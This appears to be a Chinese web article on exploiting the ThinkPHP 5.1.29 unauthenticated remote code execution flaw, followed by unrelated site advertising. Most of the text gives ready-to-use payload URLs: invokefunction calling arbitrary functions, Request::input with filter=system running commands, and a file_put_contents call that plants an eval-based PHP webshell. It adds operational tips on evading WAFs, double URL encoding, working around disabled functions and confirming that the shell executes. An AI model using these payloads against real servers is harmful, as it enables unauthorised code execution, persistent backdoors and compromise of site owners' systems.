thinkphp 5.1.29存在无需登录、默认配置即可利用的远程代码执行漏洞,根源在于路由解析时未校验控制器名,允许通过/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1直接调用任意函数。

thinkphp 5.1.29 存在可直接利用的远程代码执行漏洞,无需登录、无需特殊配置、默认安装即受影响。核心问题出在路由解析阶段对控制器名的放行逻辑——当未开启强制路由(url_route_must 为 false,即默认值)时,攻击者可通过 URL 构造恶意命名空间路径,绕过类名白名单,触发任意类方法调用。
invokefunction 是最稳定可用的入口点
该漏洞链始于 think\app::invokefunction 方法,它被路由层无条件反射调用,且未校验 function 参数来源:
-
function参数直传给call_user_func_array -
vars参数作为参数数组原样传递 - 没有对
function值做任何白名单或字符串过滤
常见错误是误以为必须走 think\template\driver\file::write 或 think\Request::input 等次级链路,其实 invokefunction 本身已足够通用、稳定、兼容性高。
实操建议:
- 直接使用
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1快速验证 - 若返回 PHP 配置信息,说明漏洞存在且可利用
- 不要依赖大小写(如
Indexvsindex),部分环境因系统路径大小写敏感导致失败,统一用小写更可靠 -
vars是数组形式,vars[0]、vars[1][]等写法必须严格匹配 PHP 的 GET 参数解析规则,否则call_user_func_array会报错或静默失败
filter 参数在 Request::input 中也可触发 RCE,但限制更多
think\Request::input 的 filter 参数在 5.1.29 中仍可被滥用,原理是将用户可控的 filter 值当作函数名调用:
- 典型 payload:
/index.php?s=index/\think\Request/input&filter=system&data=id - 有效前提是
input方法未被禁用,且目标函数(如system)未被disable_functions屏蔽 - 比
invokefunction更容易被 WAF 拦截,因为filter=system特征明显 - 若遇到 500 错误但无回显,检查
error_reporting是否关闭,或尝试filter=phpinfo看是否能触发基础函数
注意点:
-
data参数会被自动 urldecode 一次,若需传入 shellcode,必须双重 URL 编码(例如%253C%253F表示) -
filter不支持带反斜杠的完整命名空间(如\think\facade\Cache::get),仅限单函数名
写入 Webshell 时,file_put_contents 是首选,但路径和编码必须精确
利用 invokefunction 调用 file_put_contents 是最直接的落盘方式:
- payload 示例:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval%28%24_POST[%27x%27]%29%3B%20%3F%3E - 第二个
vars[1][]是文件内容,必须完整 URL 编码(不能只编码和 <code>?,要整段编码) - 写入路径默认为 webroot 根目录,若想写入子目录(如
uploads/shell.php),需确保该目录存在且可写;否则会写入失败且无提示 - 若返回空响应或 200 但文件未生成,大概率是
open_basedir限制或磁盘权限不足,而非漏洞失效
关键细节:
- 不要用
assert(PHP 7.1+ 已设为 disabled function) -
eval在多数环境可用,但某些加固环境会禁用,可备选create_function(PHP preg_replace /e 模式(已废弃,慎用) - 写入后务必手动访问
/shell.php确认解析正常,避免因扩展名被 Apache/Nginx 拒绝执行
实际利用中最容易被忽略的是 URL 解析层级与反斜杠处理。ThinkPHP 在 Windows 下把 \ 当路径分隔符,在 Linux 下却按字面量解析;而 PHP 的 class_exists 对命名空间中的 \ 是敏感的。因此所有 payload 中的 \think\app 必须用反斜杠(不是正斜杠),且不能被中间代理(如 Nginx rewrite 规则)提前转义或替换。一旦出现 “Class not found” 错误,优先检查请求到达 PHP 前是否已被修改。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











